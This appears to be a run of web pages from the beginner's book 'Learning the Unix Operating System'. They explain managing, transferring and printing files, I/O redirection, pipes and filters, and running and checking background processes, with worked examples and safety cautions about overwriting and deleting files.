File Management 		Next: 4.5 Printing Files

4.4 Managing Your Files

The tree structure of the UNIX filesystem makes it easy to organize your files. After you make and edit some files, you may want to copy or move files from one directory to another, rename files to distinguish different versions of a file, or give several names to the same file. You may want to create new directories each time you start working on a different project.

A directory tree can get cluttered with old files you don't need. If you don't need a file or a directory, delete it to free storage space on the disk. The sections below explain how to make and remove directories and files.

4.4.1 Creating Directories

It's handy to group related files in the same directory. If you were writing a spy novel, you probably wouldn't want your intriguing files mixed with restaurant listings. You could create two directories: one for all the chapters in your novel (spy, for example), and another for restaurants (boston.dine).

4.4.1.1 mkdir

To create a new directory, use the mkdir command. The format is:

mkdir dirname(s)

dirname is the name of the new directory. To make several directories, put a space between each directory name. To continue our example, you would enter:

% mkdir spy boston.dine

4.4.2 Copying Files

If you're about to edit a file, you may want to save a copy of it first. Doing that makes it easy to get back the original version.

4.4.2.1 cp

The cp command can put a copy of a file into the same directory or into another directory. cp doesn't affect the original file, so it's a good way to keep an identical backup of a file.

To copy a file, use the command:

cp old new

where old is a pathname to the original file and new is the pathname you want for the copy. For example, to copy the /etc/passwd file into a file called password in your working directory, you would enter:

% cp /etc/passwd password
%

You can also use the form:

cp old olddir

This puts a copy of the original file old into an existing directory olddir. The copy will have the same filename as the original.

If there's already a file with the same name as the copy, cp will replace the old file with your new copy. This is handy when you want to replace an old copy with a newer version, but it can cause trouble if you accidentally overwrite a copy you wanted to keep. To be safe, use ls to list the directory before you make a copy there. Also, many versions of cp have a -i (interactive) option that will query the user before overwriting an existing file.

You can copy more than one file at a time to a single directory by listing the pathname of each file you want copied, with the destination directory at the end of the command line. You can use relative or absolute pathnames (see Chapter 3) as well as simple filenames. For example, let's say your working directory was /users/carol (from the filesystem diagrams in Chapter 3). To copy three files called ch1, ch2, and ch3 from /users/john to a subdirectory called work (that's /users/carol/work), by entering:

% cp ../john/ch1 ../john/ch2 ../john/ch3 work

Or, you could use wildcards and let the shell find all the appropriate files. This time, let's add the -i option for safety:

% cp -i ../john/ch[1-3] work
cp: overwrite work/ch2? n

There was already a file named ch2 in the work directory. When cp asked, I answered n to prevent copying ch2. Answering y would overwrite the old ch2.

The shorthand forms . and .. will put the copy in the working directory or its parent. For example:

% cp ../john/ch[1-3] .

puts the copies into the working directory.

4.4.2.2 Problem checklist

The system says something along the lines of "cp: cannot copy file to itself".

If the copy is in the same directory as the original, the filenames must be different.

The system says something like "cp: filename: no such file or directory".

The system can't find the file you want to copy. Check for a typing mistake. If a file isn't in the working directory, be sure to use its pathname.

The system says something like "cp: permission denied".

You may not have permission to copy a file created by someone else or copy it into a directory that does not belong to you. Use ls -l to find the owner and the permissions for the file, or ls -ld to check the directory. If you feel that you should have permission to copy a file whose access is denied to you, ask the file's owner or the system administrator to change the access modes for the file.

4.4.2.3 rcp

Some versions of UNIX have an rcp (remote copy) command for copying files between two computers. In general, you must have accounts on both computers. The syntax of rcp is like cp, but rcp also lets you add the remote hostname to the start of a file or directory pathname. The syntax of each argument is:

hostname:pathname

hostname: is needed only for remote files. You can copy from a remote computer to the local computer, from the local to a remote, or between two remote computers.

For example, let's copy the files named report.may and report.june from your home directory on the computer named giraffe. Put the copies into your working directory (.) on the machine you're logged in to now:

% rcp giraffe:report.may giraffe:report.june .

To use wildcards in the remote filenames, put quotation marks (<">name<">) around each remote name. For example, to copy all files from your food/lunch subdirectory on your giraffe account into your working directory on the local account, enter:

% rcp "giraffe:food/lunch/*" .

Unlike cp, most versions of rcp do not have a -i safety option. Also, even if your system has rcp, your system administrator may not want you to use it for system security reasons. Another command, ftp, is more flexible and secure than rcp.

4.4.2.4 ftp

The command ftp (file transfer protocol) is a flexible way to copy files between two computers. (Some systems have a friendlier version of ftp named ncftp.) Both computers don't need to be running UNIX, though they do need to be connected by a network (like the Internet) that ftp can use. To start ftp, give the hostname of the remote computer:

ftp hostname

ftp will prompt for your username and password on the remote computer. This is something like a remote login (see Chapter 1, Getting Started ), but ftp doesn't start your usual shell. Instead, ftp prints its own prompt and uses a special set of commands for transferring files. Table 4.1 lists the most important ftp commands.

Table 4.1: Some ftp Commands
Command | Description
put filename | Copies the file filename from your local computer to the remote computer. If you give a second argument, the remote copy will have that name.
mput filenames | Copies the named files (you can use wildcards) from local to remote.
get filename | Copies the file filename from the remote computer to your local computer. If you give a second argument, the local copy will have that name.
mget filenames | Copies the named files (you can use wildcards) from remote to local.
cd pathname | Changes the working directory on the remote machine to pathname (ftp usually starts at your home directory on the remote machine).
lcd pathname | Changes ftp's working directory on the local machine to pathname (ftp starts at your working directory on the local computer). Note that the ftp lcd command changes only ftp's working directory. After you quit ftp, your shell's working directory will not have changed.
dir | Lists the remote directory (like ls -l).
binary | Tells ftp to copy the following file(s) without translation. This preserves pictures, sound, or other data.
ascii | Transfers plain text files, translating data if needed.
quit | Ends the ftp session and takes you back to a shell prompt.

Here's an example. Carol uses ftp to copy the file todo from her work subdirectory on her account on the remote computer rhino:

% ls
afile   ch2    somefile
% ftp rhino
Connected to rhino.zoo.com.
Name (rhino:carol): csmith
Password:
ftp> cd work
ftp> dir
total 3
-rw-r--r--  1 csmith   mgmt    47 Feb  5  1997 for.ed
-rw-r--r--  1 csmith   mgmt   264 Oct 11 12:18 message
-rw-r--r--  1 csmith   mgmt   724 Nov 20 14:53 todo
ftp> get todo
ftp> quit
% ls
afile   ch2    somefile    todo

We've covered the most basic ftp commands here. Entering help at an ftp> prompt gives a list of all commands; entering help followed by an ftp command name gives a one-line summary of that command.

4.4.3 Renaming and Moving Files

You may need to change a filename. To rename a file, use the mv (move) command. The mv command can also move a file from one directory to another.

4.4.3.1 mv

The mv command has the same syntax as the cp command:

mv old new

old is the old name of the file and new is the new name. mv will write over existing files, which is handy for updating old versions of a file. If you don't want to overwrite an old file, be sure that the new name is unique. If your cp has a -i option for safety, your mv probably has one too.

% mv chap1 intro
%

The previous example changed the name of the file chap1 to intro. If you list your files with ls, you will see that the filename chap1 has disappeared.

The mv command can also move a file from one directory to another. As with the cp command, if you want to keep the same filename, you only need to give mv the name of the destination directory.

4.4.4 Finding Files

If your account has lots of files, organizing those files into subdirectories can help you find the files later. Sometimes you may not remember which subdirectory has a file. The find command can search for files in many ways; we'll look at two of them.

Change to your home directory so find will start its search there. Then carefully enter one of the two find commands below. (The syntax is strange and ugly - but find does the job!)

% cd
% find . -type f -name 'chap*' -print
./chap2
./old/chap10b
% find . -type f -mtime -2 -print
./work/to_do

The first command looked in your working (home) directory and all its subdirectories for files (type f) whose names start with chap. (find understands wildcards in filenames.) The second command looked for all files that have been created or modified in the last two days (-mtime -2). The relative pathnames that find finds start with a dot (./), the name of the working directory, which you can ignore.

Linux systems, and some others, have the GNU locate command. If it's been set up and maintained on your system, you can use locate to search part or all of a filesystem for a file with a certain name. For instance, if you're looking for a file named alpha-test, alphatest, or something like that, try this:

% locate alpha
/users/alan/alpha3
/usr/local/projects/mega/alphatest

You'll get the absolute pathnames of files and directories that have alpha in their names. (If you get a lot of output, add a pipe to more or pg - see Chapter 5.) locate may or may not list protected, private files; its listings usually also aren't completely up to date. To learn much more about find and locate, read your online documentation (see Chapter 7, Where to Go from Here ) or read the chapter about them in O'Reilly's UNIX Power Tools.

4.4.5 Removing Files and Directories

You may have finished working on a file or directory and see no need to keep it, or the contents may be obsolete. Periodically removing unwanted files and directories will free storage space.

4.4.5.1 rm

The rm command removes files. The syntax is simple:

rm filename(s)

rm removes the named files, as the following examples show:

% ls
chap10       chap2       chap5    cold
chap1a.old   chap3.old   chap6    haha
chap1b       chap4       chap7    oldjunk
% rm *.old chap10
% ls
chap1b    chap4    chap6    cold    oldjunk
chap2     chap5    chap7    haha
% rm c*
% ls
haha    oldjunk
%

When you use wildcards with rm, be sure you're deleting the right files! If you accidentally remove a file you need, you can't recover it unless you have a copy in another directory or in the system backups.

CAUTION: Do not enter rm * carelessly. It deletes all the files in your working directory.

Here's another easy mistake to make: You want to enter a command like rm c* (remove all filenames starting with "c") but instead enter rm c * (remove the file named c and all files!).

It's good practice to list the files with ls before you remove them. Or, if you use rm's -i (interactive) option, rm will ask you whether you want to remove each file.

4.4.5.2 rmdir

Just as you can create new directories, you can also remove them with the rmdir command. As a precaution, the rmdir command will not let you delete directories that contain any files or subdirectories: the directory must first be empty. (The rm -r command removes a directory and everything in it. It can be dangerous for beginners, though.)

The syntax is:

rmdir dirname(s)

If a directory you try to remove does contain files, you will get a message like "rmdir: dirname not empty".

To delete a directory that contains some files:

  1. Enter cd dirname to get into the directory you want to delete.

  2. Enter rm * to remove all files in that directory.

  3. Enter cd .. to go to the parent directory.

  4. Enter rmdir dirname to remove the unwanted directory.

4.4.5.3 Problem checklist

I still get the message "dirname not empty" even after I've deleted all the files.

Use ls -a to check that there are no hidden files (names that start with a period) other than . and .. (the working directory and its parent). The command rm .[a-zA-Z] .??* is good for cleaning up hidden files.

4.4.6 Files on Other Operating Systems

You read above about ftp, a program for transferring files across a network - possibly to non-UNIX operating systems. Your system may also be able to run operating systems other than UNIX. For instance, many Linux systems can also run MS-DOS and Windows 95. If yours does, you can probably use those files from your Linux account.

If the DOS or Windows filesystem is mounted with your other filesystems, you'll be able to use its files by typing a UNIX-like pathname. For instance, from our PC under Linux, we can access the DOS file C:\WORD\REPORT.DOC through the pathname /dosc/word/report.doc.

Your Linux (or other) system may also have the MTOOLS utilities. These give you DOS-like commands that interoperate with the UNIX-like system. For example, we can put a Windows 95 floppy disk in the A: drive and then copy a file named summary.txt into our current directory (.) by entering:

% mcopy a:summary.txt .
Copying summary.txt
%

Your system administrator should be able to tell you whether other filesystems are mounted, whether you have utilities like MTOOLS, and how to use them.

Previous: 4.3 File and Directory Wildcards | Learning the Unix Operating System | Next: 4.5 Printing Files
4.3 File and Directory Wildcards | Book Index | 4.5 Printing Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.5 Printing Files

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 4.4 Managing Your Files Chapter 4
File Management 		Next: 5. Redirecting I/O

4.5 Printing Files

Before you print a file on a UNIX system, you may want to reformat it to adjust the margins, highlight some words, and so on. Most files can also be printed without reformatting, but the raw printout may not look quite as nice.

Many versions of UNIX include two powerful text formatters, nroff and troff. (There are also versions called gnroff and groff.) They are much too complex to describe here. Before we cover printing itself, let's look at a simple formatting program called pr.

4.5.1 pr

The pr command does minor formatting of files on the terminal screen or for a printer. For example, if you have a long list of names in a file, you can format it onscreen into two or more columns.

The syntax is:

pr option(s) filename(s)

pr changes the format of the file only on the screen or on the printed copy; it doesn't modify the original file. Table 4.2 lists some pr options.

Table 4.2: Some pr Options
Option | Description
-k | Produces k columns of output.
-d | Double-spaces the output (not on all pr versions).
-h "header" | Takes the next item as a report header.
-t | Eliminates printing of header and top/bottom margins.

Other options allow you to specify the width of the columns, set the page length, and so on.

Before using pr, here are the contents of a sample file named food:

% cat food
Sweet Tooth
Bangkok Wok
Mandalay
Afghani Cuisine
Isle of Java
Big Apple Deli
Sushi and Sashimi
Tio Pepe's Peppers
    .
    .
    .

Let's use pr options to make a two-column report with the header "Restaurants."

% pr -2 -h "Restaurants" food

Nov  7  9:58 1997  Restaurants   Page 1

Sweet Tooth              Isle of Java
Bangkok Wok              Big Apple Deli
Mandalay                 Sushi and Sashimi
Afghani Cuisine          Tio Pepe's Peppers
    .
    .
    .
%

The text is output in two-column pages. The top of each page has the date and time, header (or name of the file, if header is not supplied), and page number. To send this output to the printer instead of the terminal screen, you create a pipe to the printer program - usually lp or lpr. The following section describes lp and lpr; Chapter 5 covers pipes.

4.5.2 lp and lpr

If you have a long file, it may be best to print it so you can see it all on paper. The command lp or lpr prints a file (onto paper as opposed to the screen display). Your system will probably have one or the other - but not both. The syntax is:

lp option(s) filename(s)
lpr option(s) filename(s)

Printers on UNIX systems are usually shared by a group of users. After you enter the command to print a file, the shell prompt returns to the screen and you can enter another command. However, seeing the prompt doesn't mean that your file has been printed. Your file has been added to the printer queue to be printed in turn.

Your system administrator has probably set up a default printer at your site. To print a file named bills on the default printer, use the lp or lpr command, as in this example:

% lp bills
request id is laserp-525  (1 file)
%

lp shows an ID that you can use to cancel the print job or check its status. If you need ID numbers for lpr jobs, use the lpq command (see "lpstat and lpq" in the following section). The file bills will be sent to a printer called laserp. The ID number of the request is "laserp-525".

lp and lpr have several options. Table 4.3 lists three of them.

Table 4.3: Some lp and lpr Options
Option |  | Description
lp | lpr |
-dprinter | -Pprinter | Use given printer name if there is more than one printer at your site. The printer names are assigned by the system administrator.
-n# | -# | Print # copies of the file.
-m | -m | Notify sender by email when the printing is done.

If lp and lpr don't work at your site, ask other users for the printer command. You'll also need the printer locations - so you know where to get your output.

4.5.3 Problem checklist

My printout hasn't come out.

See whether the printer is printing now. If it is, other users may have made a request to the same printer ahead of you and your file should be printed in turn. The section below explains how to check the print requests.

If no file is printing, check the printer's physical connections and power switch. The printer may also be hung. If it is, ask your system administrator what to do.

4.5.4 Viewing the Printer Queue

If you want to find out how many files or "requests" for output are ahead of yours in the printer queue, use the command lpstat (for lp) or lpq (for lpr). The cancel command lets you terminate a printing request made by lp; lprm cancels jobs from lpr.

4.5.4.1 lpstat and lpq

The lpstat command shows what's in the printer queue: request IDs, owners, file sizes, when the jobs were sent for printing, and the status of the requests. Use lpstat -o if you want to see all output requests rather than just your own. Requests are shown in the order they'll be printed:

% lpstat -o
laserp-573  john  128865  Nov 7  11:27  on laserp
laserp-574  grace  82744  Nov 7  11:28
laserp-575  john   23347  Nov 7  11:35
%

The first entry shows that the request "laserp-573" is currently printing on laserp. The exact format and amount of information given about the printer queue may differ from system to system. If the printer queue is empty, lpstat will say "No entries" or simply give you back the shell prompt.

lpq gives slightly different information than lpstat -o:

% lpq
laserp is ready and printing
Rank   Owner      Job  Files                  Total Size
active john       573  report.ps              128865 bytes
1st    grace      574  ch03.ps ch04.ps        82744 bytes
2nd    john       575  standard input         23347 bytes
%

The first line displays the printer status. If the printer is disabled or out of paper, you may see different messages on this first line. The "active" job, the one being printed, is listed first. The "Job" number is like the lpstat request ID. To specify another printer, and the P option (Table 4.3).

4.5.4.2 cancel and lprm

cancel terminates a printing request from the lp command. lprm terminates lpr requests. You can specify either the ID of the request (displayed by lp or lpq) or the name of the printer.

If you don't have the request ID, get it from lpstat or lpq. Then use cancel or lprm. Specifying the request ID cancels the request, even if it is currently printing:

% cancel laserp-575
request "laserp-575" cancelled

To cancel whatever request is currently printing, regardless of its ID, simply enter cancel and the printer name:

% cancel laserp
request "laserp-573" cancelled

The lprm command will cancel the active job if it belongs to you. Otherwise, you can give job numbers as arguments, or use a dash (-) to remove all of your jobs:

% lprm 575
dfA575diamond dequeued
cfA575diamond dequeued

lprm tells you the actual filenames removed from the printer queue (which you probably don't need).

4.5.4.3 Exercise: Manipulating files

In this exercise, you'll create, rename and delete files. Find out if your site has one or more printers as well as the appropriate command to use for printing.
Go to home directory. | Enter cd
Copy distant file to working directory. | Enter cp /etc/passwd myfile
Create new directory. | Enter mkdir temp
List working directory. | Enter ls -F
Move file to new directory. | Enter mv myfile temp
Change working directory. | Enter cd temp
Copy file to working directory. | Enter cp myfile myfile.two
Print the file. | Enter your printer command and the filename
List filenames with wildcard. | Enter ls -l myfile*
Remove files. | Enter rm myfile*
Go up to parent directory. | Enter cd ..
Remove directory. | Enter rmdir temp
Verify that directory was removed. | Enter ls -F

Previous: 4.4 Managing Your Files | Learning the Unix Operating System | Next: 5. Redirecting I/O
4.4 Managing Your Files | Book Index | 5. Redirecting I/O
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] Redirecting I/O

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 4.5 Printing Files Chapter 5 Next: 5.2 Pipes and Filters

5. Redirecting I/O

Contents:
Standard Input and Standard Output
Pipes and Filters

5.1 Standard Input and Standard Output

Many UNIX commands read input (such as a file) and write output.

In general, if no filename is specified in a command, the shell takes whatever you type on your keyboard as input to the command (after you press the first [RETURN] to start the command running, that is). Your terminal keyboard is the command's standard input.

As a command runs, the results are usually displayed on your terminal screen. The terminal screen is the command's standard output.

So, by default, each command takes its input from the standard input and sends the results to the standard output.

These two default cases of input/output can be varied. This is called input/output redirection. You can use a given file as input to a command that doesn't normally accept filenames by using the "<" (less-than symbol) operator. For example, the following command mails the contents of the file to_do to bigboss@corp:

% mail bigboss@corp < to_do
%

You can also write the results of a command to a named file or some other device instead of displaying output on the screen using the > (greater-than symbol) operator. The pipe operator | sends the standard output of one command to the standard input of another command. Input/output redirection is one of the nicest features of UNIX because of its tremendous power and flexibility.

5.1.1 Putting Text in a File

Instead of always letting the output of a command come to the screen, you can redirect output into a file. This is useful when you have a lot of output that would be hard to read on the screen or when you put files together to create a bigger file.

As we've seen, the cat command can display a short file. It can also be used to put text into a file, or to create a bigger file out of smaller files.

5.1.1.1 The > operator

When you add "> filename" to the end of a command line, the results of the command are diverted from the standard output to the named file. The > symbol is called the output redirection operator.

For example, let's use cat with this operator. The contents of the file that you'd normally see on the screen (from the standard output) are diverted into another file:

% cat /etc/passwd > password
% cat password
root::0:0:Root:/:/bin/sh
daemon:NONE:1:1:Admin:/:
    .
    .
    .
john::128:50:John Doe:/usr/john:/bin/sh
%

An example in Chapter 3, Your UNIX Account , showed how cat /etc/passwd displays the file /etc/passwd on the screen. The example above adds the > operator; so the output of cat goes to a file called password in the working directory. Displaying the file password shows that its contents are the same as the file /etc/passwd (the effect is the same as the copy command cp /etc/passwd password).

You can use the > redirection operator with any command that sends text to its standard output - not just with cat. For example:

% who > users
% date > today
% ls
password   today   users   ...

We've sent the output of who to a file called users and the output of date to the file named today. Listing the directory shows the two new files. Let's look at the output from the who and date commands, regarding these two files:

% cat users
tim     tty1    Aug 12  07:30
john    tty4    Aug 12  08:26
% cat today
Tue Aug 12 08:36:09 EDT 1997
%

You can also use the cat command and the > operator to make a small text file. We told you earlier to type [CTRL-D] if you accidentally enter cat without a filename. This is because the cat command alone takes whatever you type on the keyboard as input. Thus, the command:

cat > filename

takes input from the keyboard and redirects it to a file. Try the following example:

% cat > to_do
Finish report by noon
Lunch with Xannie
Swim at 5:30
^D
%

cat takes the text that you typed as input, and the > operator redirects it to a file called to_do. Type [CTRL-D] on a new line by itself to signal the end of the text. You should get a shell prompt.

You can also create a bigger file out of many smaller files using the cat command and the > operator. The form:

cat file1 file2 > newfile

creates a file newfile, consisting of file1 followed by file2.

% cat today to_do > diary
% cat diary
Tue Aug 12 08:36:09 EDT 1997
Finish report by noon
Lunch with Xannie
Swim at 5:30
%

CAUTION: If you are using the > (output redirection) operator, you should be careful not to overwrite the contents of a file accidentally. Your system may let you redirect output to an existing file. If so, the old file will be deleted (or, in UNIX lingo, "clobbered"). Be careful not to overwrite a much-needed file! Many shells can protect you from this risk. In the C shell, use the command set noclobber. The Korn shell and bash command is set -o noclobber. Enter the command at a shell prompt or put it in your shell's startup file After that, the shell will not allow you to redirect onto an existing file and overwrite its contents.

This doesn't protect against overwriting by UNIX commands like cp; it works only with the > redirection operator. For more protection, you can set UNIX file access permissions.

5.1.1.2 The >> operator

You can add more text to the end of an existing file, instead of replacing its contents, by using the >> (append redirection) operator. Use it like the > (output redirection) operator. So,

cat file2 >> file1

appends the contents of file2 to the end of file1. For an example, let's append the contents of the file users, and also the current date and time, to the file diary. Then we display the file:

% cat users >> diary
% date >> diary
% cat diary
Tue Aug 12 08:36:09 EDT 1997
Finish report by noon
Lunch with Xannie
Swim at 5:30
tim     tty1    Aug 12  07:30
john    tty4    Aug 12  08:26
Tue Aug 12 09:07:24 EDT 1997
%

Previous: 4.5 Printing Files | Learning the Unix Operating System | Next: 5.2 Pipes and Filters
4.5 Printing Files | Book Index | 5.2 Pipes and Filters
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.2 Pipes and Filters

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 5.1 Standard Input and Standard Output Chapter 5
Redirecting I/O 		Next: 6. Multitasking

5.2 Pipes and Filters

In addition to redirecting input/output to a named file, you can connect two commands together so that the output from one program becomes the input of the next program. Two or more commands connected in this way form a pipe. To make a pipe, put a vertical bar (|) on the command line between two commands. When a pipe is set up between two commands, the standard output of the command to the left of the pipe symbol becomes the standard input of the command to the right of the pipe symbol. Any two programs can form a pipe as long as the first program writes to standard output and the second program reads from standard input.

When a program takes its input from another program, performs some operation on that input, and writes the result to the standard output (which may be piped to yet another program), it is referred to as a filter. One of the most common uses of filters is to modify output. Just as a common filter culls unwanted items, the UNIX filters can be used to restructure output.

Almost all UNIX commands can be used to form pipes. Some programs that are commonly used as filters are described below. Note that these programs aren't used only as filters or parts of pipes. They're also useful on their own.

5.2.1 grep

The grep program searches a file or files for lines that have a certain pattern. The syntax is:

grep pattern file(s)

The name "grep" derives from the ed (a UNIX line editor) command g/re/p which means "globally search for a regular expression and print all lines containing it." A regular expression is either some plain text (a word, for example) and/or special characters used for pattern matching. When you learn more about regular expressions, you can use them to specify complex patterns of text. See Mastering Regular Expressions, by Jeffrey Friedl (O'Reilly & Associates, 1997), and the references in Appendix A, Reading List .

The simplest use of grep is to look for a pattern consisting of a single word. It can be used in a pipe so that only those lines of the input files containing a given string are sent to the standard output. If you don't give grep a filename to read, it reads its standard input; that's the way all filter programs work:

% ls -l | grep "Aug"
-rw-rw-rw-   1 john  doc     11008 Aug  6 14:10 ch02
-rw-rw-rw-   1 john  doc      8515 Aug  6 15:30 ch07
-rw-rw-r--   1 john  doc      2488 Aug 15 10:51 intro
-rw-rw-r--   1 carol doc      1605 Aug 23 07:35 macros
%

First, our example runs ls -l to list your directory. The standard output of ls -l is piped to grep, which only outputs lines that contain the string "Aug" (that is, files that were last modified in August). Because the standard output of grep isn't redirected, those lines go to the terminal screen.

grep options let you modify the search. Table 5.1 lists some of the options.

Table 5.1: Some grep Options
Option | Description
-v | Print all lines that do not match pattern.
-n | Print the matched line and its line number.
-l | Print only the names of files with matching lines (letter "l").
-c | Print only the count of matching lines.
-i | Match either upper- or lowercase.

Next, let's use a regular expression that tells grep to find lines with "carol", followed by zero or more other characters (abbreviated in a regular expression as ".*"), then followed by "Aug". For more about regular expressions, see the references in Appendix A.

% ls -l | grep "carol.*Aug"
-rw-rw-r--   1 carol doc      1605 Aug 23 07:35 macros
%

5.2.2 sort

The sort program arranges lines of text alphabetically or numerically. The example below sorts the lines in the food file (from Chapter 4, File Management ) alphabetically. sort doesn't modify the file itself; it reads the file and writes the sorted text to the standard output.

% sort food
Afghani Cuisine
Bangkok Wok
Big Apple Deli
Isle of Java
Mandalay
Sushi and Sashimi
Sweet Tooth
Tio Pepe's Peppers

sort arranges lines of text alphabetically by default. There are many options that control the sorting. Some of these are given in Table 5.2.

Table 5.2: Some sort Options
Option | Description
-n | Sort numerically (example: 10 will sort after 2), ignore blanks and tabs.
-r | Reverse the order of sort.
-f | Sort upper- and lowercase together.
+x | Ignore first x fields when sorting.

More than two commands may be linked up into a pipe. Taking a previous pipe example using grep, we can further sort the files modified in August by order of size. The following pipe consists of the commands ls, grep, and sort:

% ls -l | grep "Aug" | sort +4n
-rw-rw-r--  1 carol doc      1605 Aug 23 07:35 macros
-rw-rw-r--  1 john  doc      2488 Aug 15 10:51 intro
-rw-rw-rw-  1 john  doc      8515 Aug  6 15:30 ch07
-rw-rw-rw-  1 john  doc     11008 Aug  6 14:10 ch02
%

This pipe sorts all files in your directory modified in August by order of size, and prints them to the terminal screen. The sort option +4n skips four fields (fields are separated by blanks) then sorts the lines in numeric order. So, the output of ls (actually, the output of grep) is sorted by the file size (the fifth column, starting with 1605). Both grep and sort are used here as filters to modify the output of the ls -l command. If you wanted to email this listing to someone, you could add a final pipe to the mail command. Or you could print the listing by piping the sort output to your printer command (like lp or lpr).

5.2.3 pg and more

The more and pg programs that you saw earlier can also be used as filters. A long output would normally zip by you on the screen, but if you run text through more or pg as a filter, the display stops after each screenful of text.

Let's assume that you have a long directory listing. (If you want to try this example and need a directory with lots of files, use cd first to change to a system directory like /bin or /usr/bin.) To make it easier to read the sorted listing, pipe the output through more:

% ls -l | grep "Aug" | sort +4n | more
-rw-rw-r--  1 carol doc      1605 Aug 23 07:35 macros
-rw-rw-r--  1 john  doc      2488 Aug 15 10:51 intro
-rw-rw-rw-  1 john  doc      8515 Aug  6 15:30 ch07
-rw-rw-r--  1 john  doc     14827 Aug  9 12:40 ch03
    .
    .
    .
-rw-rw-rw-  1 john  doc     16867 Aug  6 15:56 ch05
--More--(74%)

The screen will fill up with one screenful of text consisting of lines sorted by order of file size. At the bottom of the screen is the more prompt where you can type a command to move through the sorted text. When you're done with this screen, you can use any of the commands listed in the discussion of the more program.

5.2.4 Exercise: Redirecting input/output

In the following exercises you'll redirect output, create a simple pipe, and use filters to modify output.
Redirect output to a file. | Enter who > users
Sort output of a command. | Enter who | sort
Append sorted output to a file. | Enter who | sort >> users
Display output to screen. | Enter more users or pg users
Display long output to screen. | Enter ls -l /bin | more or ls -l /bin | pg
Format and print a file with pr. | Enter pr users | lp or pr users | lpr

Previous: 5.1 Standard Input and Standard Output | Learning the Unix Operating System | Next: 6. Multitasking
5.1 Standard Input and Standard Output | Book Index | 6. Multitasking
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] Multitasking

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 5.2 Pipes and Filters Chapter 6 Next: 6.2 Checking on a Process

6. Multitasking

Contents:
Running a Command in the Background
Checking on a Process
Cancelling a Process

Suppose you are running a command that will take a long time to process. On a single-task system like MS-DOS, you would enter the command and wait for the system prompt to return, telling you that you could enter a new command. In UNIX, however, there is a way to enter new commands in the "foreground" while one or more commands are still running in the "background." This is called background processing.

When you enter a command as a background process, the shell prompt reappears immediately so that you can enter a new command. The original command will still be running in the background, but you can use the system to do other things during that time. Depending on your system and your shell, you may even be able to log off and let the background process run to completion.

6.1 Running a Command in the Background

Running a command as a background process is most often done to free a terminal when you know the command will take a long time to run.

To run a command in the background, add the "&" character at the end of the command line before you press the [RETURN] key. The shell will then assign and display a process ID number for the command:

% nroff -ms chap1 > chap1.out &
[1] 29890
%

(The nroff program formats documents. It's a good example because text formatting usually takes a while, so users often do it in the background. See your UNIX documentation for details on nroff.)

The process ID (PID) for this command is 29890. The PID is useful when you want to check the status of a background process or, if you need to, cancel it. You don't need to remember the PID, because there are UNIX commands (explained in later sections of this chapter) to check on the processes you have running. In some shells, a status line will be printed on your screen when the background process finishes.

In the C shell, you can put an entire sequence of commands separated by semicolons into the background by putting an ampersand at the end of the entire command line. In other shells, enclose the command sequence in parentheses before adding the ampersand:

(command1; command2) &

On many systems, the shells have another feature called job control. You can use the suspend character (usually [CTRL-Z] to suspend a program running in the foreground. The program will pause and you'll get a new shell prompt. You can then do anything else you like, including putting the suspended program into the background using the bg command. The fg command will bring a background process to the foreground.

For example, you might start sort running on a big file, and, after a minute, want to send email. You stop sort, then put it in the background. The shell prints a message, then another shell prompt. You send mail while sort runs.

% sort hugefile1 hugefile2 > sorted
    ...time goes by...
[CTRL-Z] Stopped
% bg
[1]    sort hugefile1 hugefile2 > sorted &
% mail eduardo@nacional.cl
    ...

Previous: 5.2 Pipes and Filters | Learning the Unix Operating System | Next: 6.2 Checking on a Process
5.2 Pipes and Filters | Book Index | 6.2 Checking on a Process
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.2 Checking on a Process

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 6.1 Running a Command in the Background Chapter 6
Multitasking 		Next: 6.3 Cancelling a Process

6.2 Checking on a Process

If a background process takes too long, or you change your mind and want to stop a process, you can check the status of the process and even cancel it.

6.2.1 ps

When you enter the single-word command ps, you can see how long a process has been running. The output of ps also tells you the process ID of the background process and the terminal from which it was run.

% ps
PID     TTY     TIME   COMMAND
8048    020     0:12   sh
8699    020     0:02   ps
%

In its basic form, ps lists the following:

Process ID (PID)

A unique number assigned by UNIX to the process.

Terminal line (TTY)

The terminal number from which the process was started.

Run time (TIME)

The amount of computer time (in minutes and seconds) that the process has used.

Command (COMMAND)

The name of the process.

At the very least, ps will list one process: ps itself. You should also see the names of any other programs running in the background and the name of your shell's process (sh, csh, and so on).

You should be aware that there are two types of programs on UNIX systems: directly executable programs and interpreted programs. Directly executable programs are written in a programming language like C or Pascal and stored in a file that the system can read directly. Interpreted programs, such as shell scripts, are sequences of commands that are read by an interpreter program. If you execute an interpreted program, you will see an additional command (like perl, sh, or csh) in the ps listing, as well as any UNIX commands that the interpreter is executing now.

Shells with job control have a command called jobs which lists background processes started from that shell. As mentioned above, there are commands to change the foreground/background status of jobs. There are other job control commands as well. See the references in Appendix A, Reading List , for details.

Previous: 6.1 Running a Command in the Background | Learning the Unix Operating System | Next: 6.3 Cancelling a Process
6.1 Running a Command in the Background | Book Index | 6.3 Cancelling a Process
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.3 Cancelling a Process

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 6.2 Checking on a Process Chapter 6
